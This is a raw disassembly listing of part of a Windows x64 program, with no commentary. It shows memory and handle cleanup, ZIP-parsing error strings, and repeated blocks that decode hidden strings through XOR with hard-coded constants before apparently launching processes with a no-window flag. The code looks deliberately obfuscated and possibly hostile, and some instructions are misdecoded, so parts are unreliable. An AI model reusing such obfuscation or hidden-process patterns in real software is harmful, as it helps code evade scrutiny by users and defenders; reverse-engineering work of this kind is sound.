mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
jmp 0x140008c89
lea r14, [rsp + 0x9b0]
jmp 0x140008c89
lea r14, [rsp + 0x9b0]
lea r15, [0x1401b10f8]
movq rdi, xmm7
pshufd xmm0, xmm7, 0xee
movq rbx, xmm0
nop dword [rax + rax]
test rsi, rsi
je 0x140008ce7
cmp rsi, 0x10000
mov r9d, 0x10000
cmovb r9, rsi
mov rcx, rbp
mov rdx, rdi
mov r8, r14
call qword [rbx + 0x18]
cmp qword [rsp + 0x4e8], 0
jne case.0x140008008.0
mov rax, qword [rsp + 0x4f0]
sub rsi, rax
jb case.0x140008008.0
test rax, rax
jne 0x140008ca0
mov rax, qword [rsp + 0x318]
cmp rax, qword [rsp + 0x5c0]
je 0x140008d80
test rax, rax
je 0x140008d18
mov r8, qword [rsp + 0x320]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x330], 0
je 0x140008d39
mov r8, qword [rsp + 0x338]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x348], 0
je 0x140008d5a
mov r8, qword [rsp + 0x350]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x360], 0
je 0x140008d80
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
nop dword [rax + rax]
movzx eax, byte [rsp + 0x3c8]
cmp al, 3
je 0x140008dd0
cmp al, 2
jb 0x140008dd0
mov rdi, qword [rsp + 0x3e8]
mov rsi, qword [rsp + 0x3f0]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140008dd0
cmp qword [rsi + 0x10], 0x11
jb 0x140008db7
mov rdi, qword [rdi - 8]
clc
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x1d8]
cmp rax, 4
ja case.default.0x140008df0
lea rcx, [0x1401b1134]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp byte [rsp + 0x1f0], 2
jb case.0x140008df0.0
mov rdi, qword [rsp + 0x210]
mov rsi, qword [rsp + 0x218]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
or byte [rax], al
or byte [rax], al
je case.0x140008df0.0
cmp qword [rsi + 0x10], 0x11
jb 0x140008e2b
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
jmp 0x140008f2a
cmp qword [rsp + 0x1f8], 0
je 0x140008e5d
mov r8, qword [rsp + 0x1f0]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp byte [rsp + 0x218], 2
jb 0x140008e9f
mov rdi, qword [rsp + 0x238]
mov rsi, qword [rsp + 0x240]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140008e9f
cmp qword [rsi + 0x10], 0x11
jb 0x140008e8e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
mov dl, 0x24
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x300]
call fcn.140113a40
mov r8, qword [rsp + 0x300]
jmp 0x140008f21
cmp byte [rsp + 0x1f0], 2
jb 0x140008ef8
mov rdi, qword [rsp + 0x210]
mov rsi, qword [rsp + 0x218]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x140008ef8
cmp qword [rsi + 0x10], 0x11
jb 0x140008ee7
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x2e0], 0
je 0x140008f19
mov r8, qword [rsp + 0x2d8]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov r8, qword [rsp + 0x2f8]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp case.0x140008df0.0
cmp qword [rsp + 0x1f8], 0
je 0x140008f55
mov r8, qword [rsp + 0x1f0]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp byte [rsp + 0x218], 2
jb 0x1400068bb
mov rdi, qword [rsp + 0x238]
mov rsi, qword [rsp + 0x240]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400068bb
cmp qword [rsi + 0x10], 0x11
jb 0x1400068aa
mov rdi, qword [rdi - 8]
jmp 0x1400068aa
mov esi, 1
mov eax, 0x19
mov qword [rsp + 0x130], rax
mov ecx, 0x19
lea rax, str.Invalid_local_file_headerInvalid_Central_Directory_headerAES_encryption_without_AES_extra_data_fieldArchive_header_is_too_largeCould_not_find_central_directory_endInvalid_zip_headerInvalid_digital_signature_headerCould_not_find_ZIP64_central_directory_endEmptyNullString
mov qword [rsp + 0x108], rax
jmp 0x140006a60
movzx r14d, word [rsp + 0x4e8]
mov word [rsp + 0x4e8], 0
mov r8d, 2
mov rcx, r15
mov rdx, rbp
call fcn.14009a840
test rax, rax
je 0x140009011
mov rcx, qword [rsp + 0x130]
mov qword [rsp + 0x108], rax
xor esi, esi
lea r14, [rsp + 0x9b0]
lea r15, [0x1401b10f8]
jmp 0x140006a60
lea rax, [rdi + rbx]
add rax, 0x80
movzx ecx, word [rsp + 0x4e8]
mov rax, qword [rax]
add rcx, r14
lea r9, [rax + rcx]
add r9, 0x1e
mov qword [rdi + rbx + 0x90], r9
mov rdx, qword [rsp + 0xb8]
mov rcx, rbp
xor r8d, r8d
call fcn.140088170
cmp qword [rsp + 0x4e8], 0
lea r15, [0x1401b10f8]
je 0x140009085
mov rax, qword [rsp + 0x4f0]
mov qword [rsp + 0x108], rax
mov rcx, qword [rsp + 0x130]
xor esi, esi
lea r14, [rsp + 0x9b0]
jmp 0x140006a60
mov rax, qword [rdi + rbx + 0x70]
mov qword [rsp + 0x130], rax
mov ecx, 0x20
cmp word [rdi + rbx + 0x98], 5
lea r14, [rsp + 0x9b0]
jne 0x1400090be
lea rax, [0x140210c81]
mov qword [rsp + 0x108], rax
jmp 0x140006a60
cmp byte [rdi + rbx + 0xa5], 2
jne case.0x140008008.0
add rdi, rbx
mov eax, dword [rsp + 0x6d8]
mov ecx, dword [rsp + 0x6db]
mov dword [rsp + 0x16b], ecx
mov dword [rsp + 0x168], eax
mov r8d, 0xc8
mov rcx, rbp
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov r8d, 0xa0
lea rcx, [rsp + 0x6d8]
mov rdx, r14
call sub.msvcrt.dll_memcpy
xor ebx, ebx
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x7b0], rax
mov qword [rsp + 0x7a8], rdi
xor edi, edi
mov rsi, qword [rsp + 0x7a0]
jmp 0x140006a6f
mov r14, qword [rsp + 0xb0]
mov r15, qword [rsp + 0xb8]
mov rcx, r15
call sub.KERNEL32.dll_CloseHandle
lock dec qword [r14]
jne 0x140009166
mov rcx, qword [rsp + 0xb0]
call fcn.14009b030
mov rcx, qword [rsp + 0x6a0]
call sub.KERNEL32.dll_CloseHandle
mov rdx, qword [rsp + 0x5b0]
mov rcx, qword [rsp + 0x4b0]
call fcn.1400934b0
mov rsi, rax
lea rax, [0x1401af5ba]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0xed3465c95feb68be
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140094bc0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx eax, byte [rax + 0x1c]
test rsi, rsi
jne case.0x140008008.0
lea rax, [0x1401ad513]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x803668c58125ef67
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.1400958c0
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov edi, dword [rax + 0x20]
movzx eax, byte [0x140254141]
mov edx, 0x24
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rsi, rax
xor edi, 0x8f764ad
movabs rax, 0xfb3e918aedfa79ad
xor rbx, rax
movabs rax, 0x34219ba79d4a94a8
xor r14, rax
movabs rax, 0x24266e7f55f2e4c
xor r15, rax
movabs rax, 0x8782733e796788c1
xor r12, rax
mov qword [rsi], r12
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rbx
mov dword [rsi + 0x20], edi
movzx eax, byte [0x140254141]
mov edx, 0x24
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov ecx, dword [rsi + 0x20]
mov dword [rax + 0x20], ecx
movdqu xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x1d8], 0x24
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 0x24
lea rdi, [rsp + 0x9b0]
lea rdx, [rsp + 0x1d8]
mov rcx, rdi
call fcn.14009abb0
mov dword [rsp + 0xa70], 0x8000000
mov dword [rsp + 0x7e0], 0
lea rcx, [rsp + 0x1d8]
lea r8, [rsp + 0x7e0]
mov rdx, rdi
call fcn.14008bd70
mov r15, qword [rsp + 0x1d8]
mov rbp, qword [rsp + 0x1e8]
cmp rbp, 2
jne 0x140009362
mov r12, r15
jmp 0x140009397
mov r13, qword [rsp + 0x1e0]
mov r12, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1f8]
mov r14, qword [rsp + 0x200]
mov rbx, qword [rsp + 0x208]
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x58], rax
lea rax, [0x1401b69d5]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0x1dd59b2c651d42a0
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095740
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
movzx eax, word [rax + 0x20]
cmp ebp, 2
je case.0x140008008.0
mov rcx, r15
call sub.KERNEL32.dll_CloseHandle
mov rcx, r13
call sub.KERNEL32.dll_CloseHandle
test rbp, rbp
je 0x140009416
mov rcx, r12
call sub.KERNEL32.dll_CloseHandle
test rdi, rdi
je 0x140009423
mov rcx, r14
call sub.KERNEL32.dll_CloseHandle
test rbx, rbx
je 0x140009432
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0x9b0]
call fcn.140001450
mov ecx, 0x78
xor edx, edx
call fcn.140089c00
mov edx, 0x24
mov rcx, rsi
call fcn.1400934b0
mov rdi, rax
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
test rdi, rdi
je 0x1400094cc
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x1400094cc
test rax, rax
je 0x1400094cc
mov rsi, rdi
dec rsi
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400094bb
cmp qword [rdi + 0x10], 0x11
jb 0x1400094aa
mov rbx, qword [rbx - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
lea rax, [0x1401ad168]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x1b565e761030b4d1
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095080
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x20]
movzx ebp, word [rax + 0x28]
movzx eax, byte [0x140254141]
mov edx, 0x2a
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r12, rax
mov eax, ebp
xor al, 3
shr ebp, 8
xor bpl, 0xae
movzx ecx, bpl
shl ecx, 8
movzx eax, al
or eax, ecx
movabs rcx, 0x6c59889f29962c9
xor rsi, rcx
movabs rcx, 0xe08b5a0cacab2f2b
xor rdi, rcx
movabs rcx, 0x1cfbd560c64eb152
xor rbx, rcx
movabs rcx, 0x237bfd78b32e4f1e
xor r14, rcx
movabs rcx, 0x8f745604b40a3f76
xor r15, rcx
mov qword [r12], r15
mov qword [r12 + 8], r14
mov qword [r12 + 0x10], rbx
mov qword [r12 + 0x18], rdi
mov qword [r12 + 0x20], rsi
mov word [r12 + 0x28], ax
movzx eax, byte [0x140254141]
mov edx, 0x2a
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
movdqu xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
mov qword [rsp + 0x58], r12
movups xmm2, xmmword [r12 + 0x1a]
movups xmmword [rax + 0x1a], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x1d8], 0x2a
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 0x2a
lea rsi, [rsp + 0x9b0]
lea rdx, [rsp + 0x1d8]
mov rcx, rsi
call fcn.14009abb0
mov dword [rsp + 0xa70], 0x8000000
mov dword [rsp + 0x7e0], 0
lea rcx, [rsp + 0x1d8]
lea r8, [rsp + 0x7e0]
mov rdx, rsi
call fcn.14008bd70
mov r15, qword [rsp + 0x1d8]
mov rbx, qword [rsp + 0x1e8]
cmp rbx, 2
jne 0x14000967e
mov r12, r15
jmp 0x1400096ae
mov r13, qword [rsp + 0x1e0]
mov r12, qword [rsp + 0x1f0]
mov rbp, qword [rsp + 0x1f8]
mov r14, qword [rsp + 0x200]
mov rsi, qword [rsp + 0x208]
mov rdi, qword [rsp + 0x210]
lea rax, [0x1401b3caa]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0xa745169138531e27
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095020
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
movzx eax, word [rax + 0x20]
cmp ebx, 2
je case.0x140008008.0
mov rcx, r15
call sub.KERNEL32.dll_CloseHandle
mov rcx, r13
call sub.KERNEL32.dll_CloseHandle
test rbx, rbx
je 0x14000972d
mov rcx, r12
call sub.KERNEL32.dll_CloseHandle
test rbp, rbp
je 0x14000973a
mov rcx, r14
call sub.KERNEL32.dll_CloseHandle
test rsi, rsi
je 0x140009747
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0x9b0]
call fcn.140001450
mov ecx, 0xf
xor edx, edx
call fcn.140089c00
lea rax, [0x1401b6207]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x768c3f489849e61b
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095290
mov r12, qword [rax]
mov r15, qword [rax + 8]
mov r14, qword [rax + 0x10]
mov rbx, qword [rax + 0x18]
mov rdi, qword [rax + 0x20]
mov esi, dword [rax + 0x28]
movzx eax, byte [0x140254141]
mov edx, 0x2c
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r13, rax
xor esi, 0xe90c430b
movabs rax, 0x589b313556ee80ec
xor rdi, rax
movabs rax, 0x6c5e5ea948480b1c
xor rbx, rax
movabs rax, 0xa4ea4e09583ae9ae
xor r14, rax
movabs rax, 0x16148715d5905e94
xor r15, rax
movabs rax, 0x3be798610e48f8eb
xor r12, rax
mov qword [r13], r12
mov qword [r13 + 8], r15
mov qword [r13 + 0x10], r14
mov qword [r13 + 0x18], rbx
mov qword [r13 + 0x20], rdi
mov dword [r13 + 0x28], esi
movzx eax, byte [0x140254141]
mov edx, 0x2c
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
movdqu xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
mov qword [rsp + 0x68], r13
movups xmm2, xmmword [r13 + 0x1c]
movups xmmword [rax + 0x1c], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x1d8], 0x2c
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 0x2c
lea rsi, [rsp + 0x9b0]
lea rdx, [rsp + 0x1d8]
mov rcx, rsi
call fcn.14009abb0
mov dword [rsp + 0xa70], 0x8000000
mov dword [rsp + 0x7e0], 0
lea rcx, [rsp + 0x1d8]
lea r8, [rsp + 0x7e0]
mov rdx, rsi
call fcn.14008bd70
mov r13, qword [rsp + 0x1d8]
mov r14, qword [rsp + 0x1e8]
cmp r14, 2
jne 0x1400098f8
mov rbp, r13
jmp 0x140009928
mov rsi, qword [rsp + 0x1e0]
mov rbp, qword [rsp + 0x1f0]
mov r15, qword [rsp + 0x1f8]
mov r12, qword [rsp + 0x200]
mov rbx, qword [rsp + 0x208]
mov rdi, qword [rsp + 0x210]
lea rax, [0x1401b85e3]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0x656759b1b47fc009
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095430
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
cmp r14d, 2
je case.0x140008008.0
mov rcx, r13
call sub.KERNEL32.dll_CloseHandle
mov rcx, rsi
call sub.KERNEL32.dll_CloseHandle
test r14, r14
je 0x1400099a4
mov rcx, rbp
call sub.KERNEL32.dll_CloseHandle
test r15, r15
je 0x1400099b1
mov rcx, r12
call sub.KERNEL32.dll_CloseHandle
test rbx, rbx
je 0x1400099be
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
lea rcx, [rsp + 0x9b0]
call fcn.140001450
mov ecx, 0xf
xor edx, edx
call fcn.140089c00
lea rax, [0x1401b389f]
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rcx, qword [rsp + 0x9b0]
movabs rax, 0x2b5cf532d8e73068
mov qword [rsp + 0x9b0], rax
lea rax, [rsp + 0x9b0]
mov rdx, qword [rsp + 0x9b0]
call fcn.140095490
mov rsi, qword [rax]
movzx edi, word [rax + 8]
movzx eax, byte [0x140254141]
mov edx, 0xa
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov ecx, edi
xor cl, 0xc
shr edi, 8
xor dil, 0xa9
movzx edx, dil
shl edx, 8
movzx ecx, cl
or ecx, edx
movabs rdx, 0xd07011ae128e146f
xor rsi, rdx
mov qword [rax], rsi
mov word [rax + 8], cx
mov qword [rsp + 0x9b0], 0xa
mov qword [rsp + 0x9b8], rax
mov qword [rsp + 0x9c0], 0xa
mov byte [rsp + 0x9c8], 0
mov qword [rsp + 0x9d0], 0
mov qword [rsp + 0x9d8], 8
mov qword [rsp + 0x9e0], 0
movabs rax, 0x8000000000000001
lea rax, [rax - 1]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x9e8], rax
mov dword [rsp + 0xa08], 6
mov dword [rsp + 0xa18], 6
mov dword [rsp + 0xa28], 6
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xa38], xmm0
movdqu xmmword [rsp + 0xa42], xmm0
movdqu xmmword [rsp + 0xa66], xmm0
movdqu xmmword [rsp + 0xa58], xmm0
mov dword [rsp + 0xa70], 0x8000000
lea rax, [0x1401b108f]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0xf6a658f6ae071c98
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140094e60
mov r15, qword [rax]
mov r14, qword [rax + 8]
mov rbx, qword [rax + 0x10]
mov edi, dword [rax + 0x18]
movzx eax, byte [0x140254141]
mov edx, 0x1c
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov rsi, rax
lea rcx, [rsp + 0x9d0]
xor edi, 0xd011aa3e
movabs rax, 0x612bfac7b8226471
xor rbx, rax
movabs rax, 0xf1309f3a26bbdecb
xor r14, rax
movabs rax, 0xeaad0e1c8316b761
xor r15, rax
mov qword [rsi], r15
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x18], edi
xor edx, edx
call fcn.140045da0
mov rax, qword [rsp + 0x9d8]
mov rcx, qword [rsp + 0x9e0]
lea rdx, [rcx + rcx*4]
mov qword [rax + rdx*8], 0
mov qword [rax + rdx*8 + 8], 0x1c
mov qword [rax + rdx*8 + 0x10], rsi
mov qword [rax + rdx*8 + 0x18], 0x1c
mov byte [rax + rdx*8 + 0x20], 0
inc rcx
mov qword [rsp + 0x9e0], rcx
lea rdi, [rsp + 0x9b0]
mov rcx, rdi
call fcn.140001450
mov r12d, 0xa
mov esi, 4
lea r13, [rsp + 0x1d8]
movabs rbp, 0x602df12fed4a5bd7
mov r14d, 0x1f07bb4b
lea rbx, [rsp + 0x7e0]
nop word cs:[rax + rax]
lea rax, [0x1401b5585]
mov qword [rsp + 0x1d8], rax
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0xd57c8750997afd01
mov qword [rsp + 0x1d8], rax
mov rdx, qword [rsp + 0x1d8]
call fcn.140094fb0
mov rcx, qword [rax]
movabs rdx, 0xb6fe752ed7c79aa7
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xe6dd9660732aa963
xor rdx, r8
mov r8, qword [rax + 0x10]
movabs r9, 0x116c14cdd6263168
xor r8, r9
mov r9, qword [rax + 0x18]
xor r9, rbp
mov r10d, dword [rax + 0x20]
xor r10d, r14d
movzx r11d, byte [rax + 0x26]
movzx r15d, word [rax + 0x24]
mov eax, r15d
shr eax, 8
xor r15b, 0xfc
xor al, 0x40
movzx r15d, r15b
movzx eax, al
shl eax, 8
or eax, r15d
xor r11b, 0xbb
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rdx
mov qword [rsp + 0x7f0], r8
mov qword [rsp + 0x7f8], r9
mov dword [rsp + 0x800], r10d
mov word [rsp + 0x804], ax
mov byte [rsp + 0x806], r11b
mov rcx, r13
mov rdx, rbx
call fcn.1400d1380
mov rcx, rdi
mov rdx, r13
call fcn.1400ba8b0
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x9b0], rax
je 0x140009e8e
sub esi, 1
jb 0x14000a106
lea rax, [0x1401b2a92]
mov qword [rsp + 0x1d8], rax
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0x97ed198a0a6a906b
mov qword [rsp + 0x1d8], rax
mov rdx, qword [rsp + 0x1d8]
call fcn.140095500
mov rcx, qword [rax]
movabs rdx, 0xfd67091582a98689
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0x25b409f294f141d7
xor rdx, r8
mov eax, dword [rax + 0x10]
mov r8d, 0x35c96d57
xor eax, r8d
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rdx
mov dword [rsp + 0x7f0], eax
mov qword [rsp + 0x4e8], rbx
mov qword [rsp + 0x4f0], 0x14
lea rax, [rsp + 0x4e8]
mov qword [rsp + 0x6d8], rax
lea rax, [0x14008a3a0]
mov qword [rsp + 0x6e0], rax
lea rax, [0x1401d6440]
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], 2
mov qword [rsp + 0x1f8], 0
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1f0], 1
mov rcx, r13
call fcn.140081490
mov rcx, r12
xor edx, edx
call fcn.140089c00
add r12, r12
mov rcx, rdi
call fcn.140001d40
jmp 0x140009c70
lea rax, [0x1401b7b5e]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0x9c6cd5835c921738
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095560
movabs rcx, 0xd9141e130be54198
xor rcx, qword [rax]
movabs rdx, 0x75fc8991001c3c78
xor rdx, qword [rax + 8]
movabs r8, 0xffd33c0f7d15a536
xor r8, qword [rax + 0x10]
mov r9d, 0x920094e6
xor r9d, dword [rax + 0x18]
movzx r10d, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
mov r11d, eax
shr r11d, 8
xor al, 0xa8
xor r11b, 0x81
movzx eax, al
movzx r11d, r11b
shl r11d, 8
or r11d, eax
xor r10b, 0x1e
mov qword [rsp + 0x7e0], rcx
mov qword [rsp + 0x7e8], rdx
mov qword [rsp + 0x7f0], r8
mov dword [rsp + 0x7f8], r9d
mov word [rsp + 0x7fc], r11w
mov byte [rsp + 0x7fe], r10b
mov dword [rsp + 0x1d8], 0
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1e0], xmm0
mov dword [rsp + 0x1f0], 7
mov qword [rsp + 0x1f4], 0
mov word [rsp + 0x1fc], 0
mov byte [rsp + 0x1f9], 1
mov byte [rsp + 0x1fc], 1
mov byte [rsp + 0x1fb], 1
lea rcx, [rsp + 0x7e0]
lea r8, [rsp + 0x1d8]
mov edx, 0x1f
call fcn.140092f90
mov rdi, rax
mov rsi, rdx
lea rax, [0x1401aec5e]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0x8a9525314f19863e
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095410
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov ecx, dword [rax + 0x18]
movzx eax, word [rax + 0x1c]
test rdi, rdi
jne case.0x140008008.0
mov qword [rsp + 0x4e8], rsi
lea rcx, [rsp + 0x9b8]
call fcn.1400b28c0
mov rdi, rax
mov rsi, rdx
lea rcx, [rsp + 0x1d8]
lea r9, [rsp + 0x4e8]
mov rdx, rax
mov r8, rsi
call fcn.14009b0b0
lea rax, [0x1401b5555]
mov qword [rsp + 0x7e0], rax
lea rax, [rsp + 0x7e0]
mov rcx, qword [rsp + 0x7e0]
movabs rax, 0x40ea6777c85b49e1
mov qword [rsp + 0x7e0], rax
lea rax, [rsp + 0x7e0]
mov rdx, qword [rsp + 0x7e0]
call fcn.140094ad0
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x18]
cmp qword [rsp + 0x1d8], 0
jne case.0x140008008.0
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000a0f4
cmp qword [rsi + 0x10], 0x11
jb 0x14000a0e3
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x4e8]
call sub.KERNEL32.dll_CloseHandle
jmp 0x14000a216
lea rax, [0x1401adefc]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1d8]
movabs rax, 0x6ec0ff2ac8e83445
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1d8]
call fcn.140095890
movq xmm0, qword [rax]
movq xmm1, qword [rax + 8]
punpcklqdq xmm0, xmm1
pxor xmm0, xmmword [0x1401b10b0]
movsd xmm1, qword [rax + 0x10]
movsd xmm2, qword [rax + 0x18]
movlhps xmm1, xmm2
xorps xmm1, xmmword [str.4_aoVpR]
movdqu xmmword [rsp + 0x7e0], xmm0
movups xmmword [rsp + 0x7f0], xmm1
mov qword [rsp + 0x4e8], rbx
mov qword [rsp + 0x4f0], 0x20
lea rax, [rsp + 0x4e8]
mov qword [rsp + 0x6d8], rax
lea rax, [0x14008a3a0]
mov qword [rsp + 0x6e0], rax
lea rax, [0x1401d6440]
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], 2
mov qword [rsp + 0x1f8], 0
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1f0], 1
lea rcx, [rsp + 0x1d8]
call fcn.140081490
lea rcx, [rsp + 0x9b0]
call fcn.140001d40
lea rax, [0x1401b6493]
